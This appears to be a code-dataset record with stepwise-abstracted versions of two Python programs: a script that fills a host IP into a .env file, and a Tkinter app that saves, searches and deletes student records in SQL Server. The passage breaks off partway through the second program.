"import os\nimport sys\nimport socket\n__target__ = '${EXTERNAL_HOST}'\nsources = {}\n\n\ndef process_the_source(fname, dest=None, host_ip=None, verbose=False):\n assert os.path.exists(fname) and os.path.isfile(fname\n ), 'Cannot proceed without the fname in process_the_source().'\n the_lines = []\n with open(fname, 'r') as fIn:\n for line in fIn:\n l = line.rstrip()\n l = l.replace(__target__, host_ip)\n the_lines.append(l)\n with open(dest, 'w') as fOut:\n for l in the_lines:\n print(l, file=fOut)\n assert os.path.exists(dest) and os.path.isfile(dest\n ), 'Cannot proceed without the dest file in process_the_source().'\n\n\nif __name__ == '__main__':\n is_verbose = True\n root = sys.argv[1]\n host_ip = sys.argv[2]\n assert len(host_ip) > 0, 'Cannot proceed without the host ip address.'\n assert os.path.exists(root) and os.path.isdir(root\n ), 'Cannot proceed without the root in process_the_source().'\n sources['{}/.env'.format(root)] = '{}/code/.env'.format(root)\n if is_verbose:\n print('BEGIN:')\n for s, d in sources.items():\n if is_verbose:\n print('{} -> {}'.format(s, d))\n assert os.path.exists(s) and os.path.isfile(s\n ), 'Cannot find \"{}\" so cannot proceed.'.format(s)\n process_the_source(s, dest=d, host_ip=host_ip, verbose=is_verbose)\n if is_verbose:\n print('END!!!')\n if is_verbose:\n print()\n print('Done.')\n",
"<import token>\n__target__ = '${EXTERNAL_HOST}'\nsources = {}\n\n\ndef process_the_source(fname, dest=None, host_ip=None, verbose=False):\n assert os.path.exists(fname) and os.path.isfile(fname\n ), 'Cannot proceed without the fname in process_the_source().'\n the_lines = []\n with open(fname, 'r') as fIn:\n for line in fIn:\n l = line.rstrip()\n l = l.replace(__target__, host_ip)\n the_lines.append(l)\n with open(dest, 'w') as fOut:\n for l in the_lines:\n print(l, file=fOut)\n assert os.path.exists(dest) and os.path.isfile(dest\n ), 'Cannot proceed without the dest file in process_the_source().'\n\n\nif __name__ == '__main__':\n is_verbose = True\n root = sys.argv[1]\n host_ip = sys.argv[2]\n assert len(host_ip) > 0, 'Cannot proceed without the host ip address.'\n assert os.path.exists(root) and os.path.isdir(root\n ), 'Cannot proceed without the root in process_the_source().'\n sources['{}/.env'.format(root)] = '{}/code/.env'.format(root)\n if is_verbose:\n print('BEGIN:')\n for s, d in sources.items():\n if is_verbose:\n print('{} -> {}'.format(s, d))\n assert os.path.exists(s) and os.path.isfile(s\n ), 'Cannot find \"{}\" so cannot proceed.'.format(s)\n process_the_source(s, dest=d, host_ip=host_ip, verbose=is_verbose)\n if is_verbose:\n print('END!!!')\n if is_verbose:\n print()\n print('Done.')\n",
"<import token>\n<assignment token>\n\n\ndef process_the_source(fname, dest=None, host_ip=None, verbose=False):\n assert os.path.exists(fname) and os.path.isfile(fname\n ), 'Cannot proceed without the fname in process_the_source().'\n the_lines = []\n with open(fname, 'r') as fIn:\n for line in fIn:\n l = line.rstrip()\n l = l.replace(__target__, host_ip)\n the_lines.append(l)\n with open(dest, 'w') as fOut:\n for l in the_lines:\n print(l, file=fOut)\n assert os.path.exists(dest) and os.path.isfile(dest\n ), 'Cannot proceed without the dest file in process_the_source().'\n\n\nif __name__ == '__main__':\n is_verbose = True\n root = sys.argv[1]\n host_ip = sys.argv[2]\n assert len(host_ip) > 0, 'Cannot proceed without the host ip address.'\n assert os.path.exists(root) and os.path.isdir(root\n ), 'Cannot proceed without the root in process_the_source().'\n sources['{}/.env'.format(root)] = '{}/code/.env'.format(root)\n if is_verbose:\n print('BEGIN:')\n for s, d in sources.items():\n if is_verbose:\n print('{} -> {}'.format(s, d))\n assert os.path.exists(s) and os.path.isfile(s\n ), 'Cannot find \"{}\" so cannot proceed.'.format(s)\n process_the_source(s, dest=d, host_ip=host_ip, verbose=is_verbose)\n if is_verbose:\n print('END!!!')\n if is_verbose:\n print()\n print('Done.')\n",
"<import token>\n<assignment token>\n\n\ndef process_the_source(fname, dest=None, host_ip=None, verbose=False):\n assert os.path.exists(fname) and os.path.isfile(fname\n ), 'Cannot proceed without the fname in process_the_source().'\n the_lines = []\n with open(fname, 'r') as fIn:\n for line in fIn:\n l = line.rstrip()\n l = l.replace(__target__, host_ip)\n the_lines.append(l)\n with open(dest, 'w') as fOut:\n for l in the_lines:\n print(l, file=fOut)\n assert os.path.exists(dest) and os.path.isfile(dest\n ), 'Cannot proceed without the dest file in process_the_source().'\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n<code token>\n"
] | false |
9,927 |
8058ff209af03b7365ffad2a9ce2e2805b548f53
|
from tkinter import ttk
import tkinter as tk
import pyodbc
#ConnectingDatabase#
from tkinter import messagebox
conn = pyodbc.connect('Driver={SQL Server};'
'Server=MUTHUCOMPUTER;'
'Database=Class4c v1;'
'Trusted_Connection=yes;')
cursor = conn.cursor()
#Adding new record#
def save():
Names= Name.get()
Ages= Age.get()
Genders= Gender.get()
Heights= height.get()
weights= weight.get()
rollnos= StudentId.get()
Sports=Sport.get()
cursor.execute("""
INSERT INTO Students(Name, Age, Gender, Height,_weight,StudentId)
VALUES (?,?,?,?,?,?)""",(Names,Ages,Genders,Heights,weights,rollnos))
conn.commit()
cursor.execute("""
INSERT INTO Activity(Name,StudentId,Activity)
VALUES (?,?,?)
""",(Names,rollnos,Sports))
conn.commit()
clearfields()
messagebox.showinfo("Tkinter", "Saved successfully!")
#deleting selected record and currently works only with rollnumber
def delete():
x=StudentId.get()
cursor.execute("""
DELETE FROM Students
WHERE StudentId = (?)""",(x))
conn.commit()
cursor.execute("""
DELETE FROM Activity
WHERE StudentId = (?)""",(x))
clearfields()
messagebox.showinfo("Tkinter", "Deleted successfully!")
#Searching records
def Search():
Names= Name.get()
Ages= Age.get()
Genders= Gender.get()
Heights= height.get()
Weights= weight.get()
Rollnos= StudentId.get()
Sports=Sport.get()
# clearing the tree
t=tree.get_children()
for f in t:
tree.delete(f)
#Search starts
if len(Names)!=0:
cursor.execute("""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Activity B on A.StudentId=B.StudentId where A.Name like(?)""",(Names))
records=cursor.fetchall()
for row in records:
tree.insert("", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6]))
tree.pack(side=tk.TOP,fill=tk.X)
elif len(Ages)!=0:
cursor.execute("""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where A.Age like(?)""",(Ages))
records=cursor.fetchall()
for row in records:
tree.insert("", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6]))
tree.pack(side=tk.TOP,fill=tk.X)
elif len(Genders)!=0:
cursor.execute("""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where A.Gender like(?)""",(Genders))
records=cursor.fetchall()
for row in records:
tree.insert("", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6]))
tree.pack(side=tk.TOP,fill=tk.X)
elif len(Heights)!=0:
cursor.execute("""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where A.Height like(?)""",(Heights))
records=cursor.fetchall()
for row in records:
tree.insert("", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6]))
tree.pack(side=tk.TOP,fill=tk.X)
elif len(Weights)!=0:
cursor.execute("""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where A._Weight like(?)""",(Weights))
records=cursor.fetchall()
for row in records:
tree.insert("", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6]))
tree.pack(side=tk.TOP,fill=tk.X)
elif len(Rollnos)!=0:
cursor.execute("""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where A.StudentId like(?)""",(Rollnos))
records=cursor.fetchall()
for row in records:
tree.insert("", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6]))
tree.pack(side=tk.TOP,fill=tk.X)
elif len(Sports)!=0:
cursor.execute("""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where B.Activity like(?)""",(Sports))
records=cursor.fetchall()
for row in records:
tree.insert("", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6]))
tree.pack(side=tk.TOP,fill=tk.X)
else:
messagebox.showinfo("Tkinter", "Atleast one search criteria must be given!")
#Search ends
# function to clear all entry fields
def clearfields():
Name.delete(0 ,tk.END)
Age.delete(0 ,tk.END)
Gender.delete(0 ,tk.END)
height.delete(0 ,tk.END)
weight.delete(0 ,tk.END)
StudentId.delete(0 ,tk.END)
Sport.delete(0 ,tk.END)
# defining the canvas
root= tk.Tk()
canvas1 = tk.Canvas(root, width = 900, height = 300)
canvas1.pack()
# Defining the fields and labels and validating
Name = tk.Entry (root)
canvas1.create_window(300, 10, window=Name)
label1 = tk.Label(root, text='Name:')
label1.config(font=('helvetica', 10))
canvas1.create_window(200, 10, window=label1)
Age = tk.Entry (root)
canvas1.create_window(300, 40, window=Age)
label2 = tk.Label(root, text='Age:')
label2.config(font=('helvetica', 10))
canvas1.create_window(200, 40, window=label2)
Gender = tk.Entry (root)
canvas1.create_window(300, 70, window=Gender)
label3 = tk.Label(root, text='Gender:')
label3.config(font=('helvetica', 10))
canvas1.create_window(200, 70, window=label3)
height = tk.Entry (root)
canvas1.create_window(300, 100, window=height)
label4 = tk.Label(root, text='height in cm:')
label4.config(font=('helvetica', 10))
canvas1.create_window(200, 100, window=label4)
weight = tk.Entry (root)
canvas1.create_window(300, 130, window=weight)
label5 = tk.Label(root, text='weight in kg:')
label5.config(font=('helvetica', 10))
canvas1.create_window(200, 130, window=label5)
StudentId = tk.Entry (root)
canvas1.create_window(300, 160, window=StudentId)
label6 = tk.Label(root, text='StudentId:')
label6.config(font=('helvetica', 10))
canvas1.create_window(200, 160, window=label6)
Sport = tk.Entry (root)
canvas1.create_window(300, 190, window=Sport)
label7 = tk.Label(root, text='Sport:')
label7.config(font=('helvetica', 10))
canvas1.create_window(200, 190, window=label7)
# Defining the buttons
button1 = tk.Button(text='Save',command = save)
canvas1.create_window(500, 250, window=button1)
button5 = tk.Button(text='Search',command=Search)
canvas1.create_window(400, 250, window=button5)
button3 = tk.Button(text='delete',command=delete)
canvas1.create_window(450, 250, window=button3)
# Defining the tree
tree=ttk.Treeview(root)
tree["columns"]=("one","two","three","four","five","six")
tree.column("#0", width=130, minwidth=270, stretch=tk.NO)
tree.column("one", width=100, minwidth=150, stretch=tk.NO)
tree.column("two", width=100, minwidth=100)
tree.column("three", width=100, minwidth=50, stretch=tk.NO)
tree.column("three", width=100, minwidth=50, stretch=tk.NO)
tree.column("three", width=100, minwidth=50, stretch=tk.NO)
tree.heading("#0",text="Name",anchor=tk.W)
tree.heading("one", text="Age",anchor=tk.W)
tree.heading("two", text="Gender",anchor=tk.W)
tree.heading("three", text="Height",anchor=tk.W)
tree.heading("four", text="Weight",anchor=tk.W)
tree.heading("five", text="StudentId",anchor=tk.W)
tree.heading("six", text="Sports",anchor=tk.W)
tree.pack()
root.mainloop()
|
[
"from tkinter import ttk\r\nimport tkinter as tk\r\nimport pyodbc\r\n\r\n\r\n#ConnectingDatabase#\r\n\r\nfrom tkinter import messagebox\r\nconn = pyodbc.connect('Driver={SQL Server};'\r\n 'Server=MUTHUCOMPUTER;'\r\n 'Database=Class4c v1;'\r\n 'Trusted_Connection=yes;')\r\ncursor = conn.cursor()\r\n\r\n\r\n#Adding new record#\r\n\r\ndef save():\r\n Names= Name.get()\r\n Ages= Age.get()\r\n Genders= Gender.get()\r\n Heights= height.get()\r\n weights= weight.get()\r\n rollnos= StudentId.get()\r\n Sports=Sport.get()\r\n\r\n cursor.execute(\"\"\"\r\n INSERT INTO Students(Name, Age, Gender, Height,_weight,StudentId)\r\n VALUES (?,?,?,?,?,?)\"\"\",(Names,Ages,Genders,Heights,weights,rollnos))\r\n conn.commit()\r\n cursor.execute(\"\"\"\r\n INSERT INTO Activity(Name,StudentId,Activity)\r\n VALUES (?,?,?)\r\n \"\"\",(Names,rollnos,Sports))\r\n conn.commit()\r\n clearfields()\r\n messagebox.showinfo(\"Tkinter\", \"Saved successfully!\")\r\n\r\n\r\n \r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n#deleting selected record and currently works only with rollnumber\r\n \r\n \r\ndef delete():\r\n x=StudentId.get()\r\n cursor.execute(\"\"\"\r\n DELETE FROM Students\r\n WHERE StudentId = (?)\"\"\",(x))\r\n conn.commit()\r\n cursor.execute(\"\"\"\r\n DELETE FROM Activity\r\n WHERE StudentId = (?)\"\"\",(x))\r\n clearfields()\r\n messagebox.showinfo(\"Tkinter\", \"Deleted successfully!\")\r\n \r\n\r\n#Searching records \r\n\r\ndef Search():\r\n \r\n Names= Name.get()\r\n Ages= Age.get()\r\n Genders= Gender.get()\r\n Heights= height.get()\r\n Weights= weight.get()\r\n Rollnos= StudentId.get()\r\n Sports=Sport.get()\r\n\r\n# clearing the tree\r\n \r\n t=tree.get_children()\r\n for f in t:\r\n tree.delete(f)\r\n \r\n\r\n#Search starts\r\n \r\n\r\n if len(Names)!=0:\r\n cursor.execute(\"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\r\n from Students A inner join Activity B on A.StudentId=B.StudentId where A.Name like(?)\"\"\",(Names))\r\n records=cursor.fetchall()\r\n for row in records:\r\n tree.insert(\"\", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6]))\r\n tree.pack(side=tk.TOP,fill=tk.X)\r\n \r\n\t\t\r\n elif len(Ages)!=0:\r\n cursor.execute(\"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\r\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Age like(?)\"\"\",(Ages))\r\n records=cursor.fetchall()\r\n for row in records:\r\n tree.insert(\"\", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6]))\r\n tree.pack(side=tk.TOP,fill=tk.X)\r\n\r\n\r\n elif len(Genders)!=0:\r\n cursor.execute(\"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\r\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Gender like(?)\"\"\",(Genders))\r\n records=cursor.fetchall()\r\n for row in records:\r\n tree.insert(\"\", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6]))\r\n tree.pack(side=tk.TOP,fill=tk.X)\r\n\r\n\r\n elif len(Heights)!=0:\r\n cursor.execute(\"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\r\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Height like(?)\"\"\",(Heights))\r\n records=cursor.fetchall()\r\n for row in records:\r\n tree.insert(\"\", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6]))\r\n tree.pack(side=tk.TOP,fill=tk.X) \r\n\r\n\r\n elif len(Weights)!=0:\r\n cursor.execute(\"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\r\n from Students A inner join Sports B on A.StudentId=B.StudentId where A._Weight like(?)\"\"\",(Weights))\r\n records=cursor.fetchall()\r\n for row in records:\r\n tree.insert(\"\", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6]))\r\n tree.pack(side=tk.TOP,fill=tk.X)\r\n\r\n\r\n elif len(Rollnos)!=0:\r\n cursor.execute(\"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\r\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.StudentId like(?)\"\"\",(Rollnos))\r\n records=cursor.fetchall()\r\n for row in records:\r\n tree.insert(\"\", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6]))\r\n tree.pack(side=tk.TOP,fill=tk.X)\r\n\r\n\r\n elif len(Sports)!=0:\r\n cursor.execute(\"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\r\n from Students A inner join Sports B on A.StudentId=B.StudentId where B.Activity like(?)\"\"\",(Sports))\r\n records=cursor.fetchall()\r\n for row in records:\r\n tree.insert(\"\", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6]))\r\n tree.pack(side=tk.TOP,fill=tk.X)\r\n\r\n else:\r\n \r\n messagebox.showinfo(\"Tkinter\", \"Atleast one search criteria must be given!\") \r\n\r\n#Search ends\r\n\r\n# function to clear all entry fields\r\n\r\ndef clearfields():\r\n Name.delete(0 ,tk.END)\r\n Age.delete(0 ,tk.END)\r\n Gender.delete(0 ,tk.END)\r\n height.delete(0 ,tk.END)\r\n weight.delete(0 ,tk.END)\r\n StudentId.delete(0 ,tk.END)\r\n Sport.delete(0 ,tk.END)\r\n \r\n\r\n\r\n \r\n# defining the canvas\r\n\r\nroot= tk.Tk()\r\ncanvas1 = tk.Canvas(root, width = 900, height = 300)\r\ncanvas1.pack()\r\n\r\n# Defining the fields and labels and validating\r\n\r\nName = tk.Entry (root)\r\ncanvas1.create_window(300, 10, window=Name)\r\nlabel1 = tk.Label(root, text='Name:')\r\nlabel1.config(font=('helvetica', 10))\r\ncanvas1.create_window(200, 10, window=label1)\r\n\r\n\r\nAge = tk.Entry (root)\r\ncanvas1.create_window(300, 40, window=Age)\r\nlabel2 = tk.Label(root, text='Age:')\r\nlabel2.config(font=('helvetica', 10))\r\ncanvas1.create_window(200, 40, window=label2)\r\n\r\nGender = tk.Entry (root)\r\ncanvas1.create_window(300, 70, window=Gender)\r\nlabel3 = tk.Label(root, text='Gender:')\r\nlabel3.config(font=('helvetica', 10))\r\ncanvas1.create_window(200, 70, window=label3)\r\n\r\nheight = tk.Entry (root)\r\ncanvas1.create_window(300, 100, window=height)\r\nlabel4 = tk.Label(root, text='height in cm:')\r\nlabel4.config(font=('helvetica', 10))\r\ncanvas1.create_window(200, 100, window=label4)\r\n\r\nweight = tk.Entry (root)\r\ncanvas1.create_window(300, 130, window=weight)\r\nlabel5 = tk.Label(root, text='weight in kg:')\r\nlabel5.config(font=('helvetica', 10))\r\ncanvas1.create_window(200, 130, window=label5)\r\n\r\nStudentId = tk.Entry (root)\r\ncanvas1.create_window(300, 160, window=StudentId)\r\nlabel6 = tk.Label(root, text='StudentId:')\r\nlabel6.config(font=('helvetica', 10))\r\ncanvas1.create_window(200, 160, window=label6)\r\n\r\nSport = tk.Entry (root)\r\ncanvas1.create_window(300, 190, window=Sport)\r\nlabel7 = tk.Label(root, text='Sport:')\r\nlabel7.config(font=('helvetica', 10))\r\ncanvas1.create_window(200, 190, window=label7)\r\n\r\n\r\n# Defining the buttons\r\n\r\nbutton1 = tk.Button(text='Save',command = save)\r\ncanvas1.create_window(500, 250, window=button1)\r\n\r\nbutton5 = tk.Button(text='Search',command=Search)\r\ncanvas1.create_window(400, 250, window=button5)\r\n\r\nbutton3 = tk.Button(text='delete',command=delete)\r\ncanvas1.create_window(450, 250, window=button3)\r\n\r\n# Defining the tree\r\n\r\ntree=ttk.Treeview(root)\r\ntree[\"columns\"]=(\"one\",\"two\",\"three\",\"four\",\"five\",\"six\")\r\ntree.column(\"#0\", width=130, minwidth=270, stretch=tk.NO)\r\ntree.column(\"one\", width=100, minwidth=150, stretch=tk.NO)\r\ntree.column(\"two\", width=100, minwidth=100)\r\ntree.column(\"three\", width=100, minwidth=50, stretch=tk.NO)\r\ntree.column(\"three\", width=100, minwidth=50, stretch=tk.NO)\r\ntree.column(\"three\", width=100, minwidth=50, stretch=tk.NO)\r\ntree.heading(\"#0\",text=\"Name\",anchor=tk.W)\r\ntree.heading(\"one\", text=\"Age\",anchor=tk.W)\r\ntree.heading(\"two\", text=\"Gender\",anchor=tk.W)\r\ntree.heading(\"three\", text=\"Height\",anchor=tk.W)\r\ntree.heading(\"four\", text=\"Weight\",anchor=tk.W)\r\ntree.heading(\"five\", text=\"StudentId\",anchor=tk.W)\r\ntree.heading(\"six\", text=\"Sports\",anchor=tk.W)\r\ntree.pack()\r\nroot.mainloop()\r\n",
"from tkinter import ttk\nimport tkinter as tk\nimport pyodbc\nfrom tkinter import messagebox\nconn = pyodbc.connect(\n 'Driver={SQL Server};Server=MUTHUCOMPUTER;Database=Class4c v1;Trusted_Connection=yes;'\n )\ncursor = conn.cursor()\n\n\ndef save():\n Names = Name.get()\n Ages = Age.get()\n Genders = Gender.get()\n Heights = height.get()\n weights = weight.get()\n rollnos = StudentId.get()\n Sports = Sport.get()\n cursor.execute(\n \"\"\"\n INSERT INTO Students(Name, Age, Gender, Height,_weight,StudentId)\n VALUES (?,?,?,?,?,?)\"\"\"\n , (Names, Ages, Genders, Heights, weights, rollnos))\n conn.commit()\n cursor.execute(\n \"\"\"\n INSERT INTO Activity(Name,StudentId,Activity)\n VALUES (?,?,?)\n \"\"\"\n , (Names, rollnos, Sports))\n conn.commit()\n clearfields()\n messagebox.showinfo('Tkinter', 'Saved successfully!')\n\n\ndef delete():\n x = StudentId.get()\n cursor.execute(\n \"\"\"\n DELETE FROM Students\n WHERE StudentId = (?)\"\"\", x)\n conn.commit()\n cursor.execute(\n \"\"\"\n DELETE FROM Activity\n WHERE StudentId = (?)\"\"\", x)\n clearfields()\n messagebox.showinfo('Tkinter', 'Deleted successfully!')\n\n\ndef Search():\n Names = Name.get()\n Ages = Age.get()\n Genders = Gender.get()\n Heights = height.get()\n Weights = weight.get()\n Rollnos = StudentId.get()\n Sports = Sport.get()\n t = tree.get_children()\n for f in t:\n tree.delete(f)\n if len(Names) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Activity B on A.StudentId=B.StudentId where A.Name like(?)\"\"\"\n , Names)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Ages) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Age like(?)\"\"\"\n , Ages)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Genders) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Gender like(?)\"\"\"\n , Genders)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Heights) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Height like(?)\"\"\"\n , Heights)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Weights) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A._Weight like(?)\"\"\"\n , Weights)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Rollnos) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.StudentId like(?)\"\"\"\n , Rollnos)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Sports) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where B.Activity like(?)\"\"\"\n , Sports)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n else:\n messagebox.showinfo('Tkinter',\n 'Atleast one search criteria must be given!')\n\n\ndef clearfields():\n Name.delete(0, tk.END)\n Age.delete(0, tk.END)\n Gender.delete(0, tk.END)\n height.delete(0, tk.END)\n weight.delete(0, tk.END)\n StudentId.delete(0, tk.END)\n Sport.delete(0, tk.END)\n\n\nroot = tk.Tk()\ncanvas1 = tk.Canvas(root, width=900, height=300)\ncanvas1.pack()\nName = tk.Entry(root)\ncanvas1.create_window(300, 10, window=Name)\nlabel1 = tk.Label(root, text='Name:')\nlabel1.config(font=('helvetica', 10))\ncanvas1.create_window(200, 10, window=label1)\nAge = tk.Entry(root)\ncanvas1.create_window(300, 40, window=Age)\nlabel2 = tk.Label(root, text='Age:')\nlabel2.config(font=('helvetica', 10))\ncanvas1.create_window(200, 40, window=label2)\nGender = tk.Entry(root)\ncanvas1.create_window(300, 70, window=Gender)\nlabel3 = tk.Label(root, text='Gender:')\nlabel3.config(font=('helvetica', 10))\ncanvas1.create_window(200, 70, window=label3)\nheight = tk.Entry(root)\ncanvas1.create_window(300, 100, window=height)\nlabel4 = tk.Label(root, text='height in cm:')\nlabel4.config(font=('helvetica', 10))\ncanvas1.create_window(200, 100, window=label4)\nweight = tk.Entry(root)\ncanvas1.create_window(300, 130, window=weight)\nlabel5 = tk.Label(root, text='weight in kg:')\nlabel5.config(font=('helvetica', 10))\ncanvas1.create_window(200, 130, window=label5)\nStudentId = tk.Entry(root)\ncanvas1.create_window(300, 160, window=StudentId)\nlabel6 = tk.Label(root, text='StudentId:')\nlabel6.config(font=('helvetica', 10))\ncanvas1.create_window(200, 160, window=label6)\nSport = tk.Entry(root)\ncanvas1.create_window(300, 190, window=Sport)\nlabel7 = tk.Label(root, text='Sport:')\nlabel7.config(font=('helvetica', 10))\ncanvas1.create_window(200, 190, window=label7)\nbutton1 = tk.Button(text='Save', command=save)\ncanvas1.create_window(500, 250, window=button1)\nbutton5 = tk.Button(text='Search', command=Search)\ncanvas1.create_window(400, 250, window=button5)\nbutton3 = tk.Button(text='delete', command=delete)\ncanvas1.create_window(450, 250, window=button3)\ntree = ttk.Treeview(root)\ntree['columns'] = 'one', 'two', 'three', 'four', 'five', 'six'\ntree.column('#0', width=130, minwidth=270, stretch=tk.NO)\ntree.column('one', width=100, minwidth=150, stretch=tk.NO)\ntree.column('two', width=100, minwidth=100)\ntree.column('three', width=100, minwidth=50, stretch=tk.NO)\ntree.column('three', width=100, minwidth=50, stretch=tk.NO)\ntree.column('three', width=100, minwidth=50, stretch=tk.NO)\ntree.heading('#0', text='Name', anchor=tk.W)\ntree.heading('one', text='Age', anchor=tk.W)\ntree.heading('two', text='Gender', anchor=tk.W)\ntree.heading('three', text='Height', anchor=tk.W)\ntree.heading('four', text='Weight', anchor=tk.W)\ntree.heading('five', text='StudentId', anchor=tk.W)\ntree.heading('six', text='Sports', anchor=tk.W)\ntree.pack()\nroot.mainloop()\n",
"<import token>\nconn = pyodbc.connect(\n 'Driver={SQL Server};Server=MUTHUCOMPUTER;Database=Class4c v1;Trusted_Connection=yes;'\n )\ncursor = conn.cursor()\n\n\ndef save():\n Names = Name.get()\n Ages = Age.get()\n Genders = Gender.get()\n Heights = height.get()\n weights = weight.get()\n rollnos = StudentId.get()\n Sports = Sport.get()\n cursor.execute(\n \"\"\"\n INSERT INTO Students(Name, Age, Gender, Height,_weight,StudentId)\n VALUES (?,?,?,?,?,?)\"\"\"\n , (Names, Ages, Genders, Heights, weights, rollnos))\n conn.commit()\n cursor.execute(\n \"\"\"\n INSERT INTO Activity(Name,StudentId,Activity)\n VALUES (?,?,?)\n \"\"\"\n , (Names, rollnos, Sports))\n conn.commit()\n clearfields()\n messagebox.showinfo('Tkinter', 'Saved successfully!')\n\n\ndef delete():\n x = StudentId.get()\n cursor.execute(\n \"\"\"\n DELETE FROM Students\n WHERE StudentId = (?)\"\"\", x)\n conn.commit()\n cursor.execute(\n \"\"\"\n DELETE FROM Activity\n WHERE StudentId = (?)\"\"\", x)\n clearfields()\n messagebox.showinfo('Tkinter', 'Deleted successfully!')\n\n\ndef Search():\n Names = Name.get()\n Ages = Age.get()\n Genders = Gender.get()\n Heights = height.get()\n Weights = weight.get()\n Rollnos = StudentId.get()\n Sports = Sport.get()\n t = tree.get_children()\n for f in t:\n tree.delete(f)\n if len(Names) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Activity B on A.StudentId=B.StudentId where A.Name like(?)\"\"\"\n , Names)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Ages) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Age like(?)\"\"\"\n , Ages)\n records = 